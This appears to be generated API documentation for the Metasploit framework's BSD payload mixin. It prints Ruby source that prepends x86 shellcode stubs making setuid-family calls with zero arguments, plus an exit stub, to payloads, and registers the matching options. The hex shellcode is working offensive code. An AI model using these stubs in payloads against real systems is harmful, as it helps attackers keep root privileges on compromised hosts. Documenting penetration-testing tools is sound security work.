Module: Msf::Payload::Bsd

Defined in:
lib/msf/core/payload/bsd.rb

Overview

This class is here to implement advanced features for bsd-based payloads. BSD payloads are expected to include this module if they want to support these features.

Instance Method Summary collapse

Instance Method Details

#generate(*args) ⇒ Object

Overload the generate() call to prefix our stubs


80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
# File 'lib/msf/core/payload/bsd.rb', line 80

def generate(*args)
  # Call the real generator to get the payload
  buf = super(*args)
  pre = ''
  app = ''

  test_arch = [ *(self.arch) ]

  # Handle all x86 code here
  if (test_arch.include?(ARCH_X86))

    # Prepend

    if (datastore['PrependSetresuid'])
      # setresuid(0, 0, 0)
      pre << "\x31\xc0"             +#   xorl    %eax,%eax                  #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\x66\xb8\x37\x01"     +#   movw    $0x0137,%ax                #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetreuid'])
      # setreuid(0, 0)
      pre << "\x31\xc0"             +#   xorl    %eax,%eax                  #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\xb0\x7e"             +#   movb    $0x7e,%al                  #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetuid'])
      # setuid(0)
      pre << "\x31\xc0"             +#   xorl    %eax,%eax                  #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\xb0\x17"             +#   movb    $0x17,%al                  #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetresgid'])
      # setresgid(0, 0, 0)
      pre << "\x31\xc0"             +#   xorl    %eax,%eax                  #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\x66\xb8\x38\x01"     +#   movw    $0x0138,%ax                #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetregid'])
      # setregid(0, 0)
      pre << "\x31\xc0"             +#   xorl    %eax,%eax                  #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\xb0\x7f"             +#   movb    $0x7f,%al                  #
             "\xcd\x80"              #   int     $0x80                      #
    end

    if (datastore['PrependSetgid'])
      # setgid(0)
      pre << "\x31\xc0"             +#   xorl    %eax,%eax                  #
             "\x50"                 +#   pushl   %eax                       #
             "\x50"                 +#   pushl   %eax                       #
             "\xb0\xb5"             +#   movb    $0xb5,%al                  #
             "\xcd\x80"              #   int     $0x80                      #
    end
    # Append

    if (datastore['AppendExit'])
      # exit(0)
      app << "\x31\xc0"             +#   xorl    %eax,%eax                  #
             "\x50"                 +#   pushl   %eax                       #
             "\xb0\x01"             +#   movb    $0x01,%al                  #
             "\xcd\x80"              #   int     $0x80                      #
    end

  end

  return (pre + buf + app)
end

#initialize(info = {}) ⇒ Object

This mixin is chained within payloads that target the BSD platform. It provides special prepends, to support things like chroot and setuid.


17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# File 'lib/msf/core/payload/bsd.rb', line 17

def initialize(info = {})
  ret = super(info)

  register_advanced_options(
    [
      Msf::OptBool.new('PrependSetresuid',
        [
          false,
          "Prepend a stub that executes the setresuid(0, 0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetreuid',
        [
          false,
          "Prepend a stub that executes the setreuid(0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetuid',
        [
          false,
          "Prepend a stub that executes the setuid(0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetresgid',
        [
          false,
          "Prepend a stub that executes the setresgid(0, 0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetregid',
        [
          false,
          "Prepend a stub that executes the setregid(0, 0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('PrependSetgid',
        [
          false,
          "Prepend a stub that executes the setgid(0) system call",
          "false"
        ]
      ),
      Msf::OptBool.new('AppendExit',
        [
          false,
          "Append a stub that executes the exit(0) system call",
          "false"
        ]
      ),
    ], Msf::Payload::Bsd)

  ret
end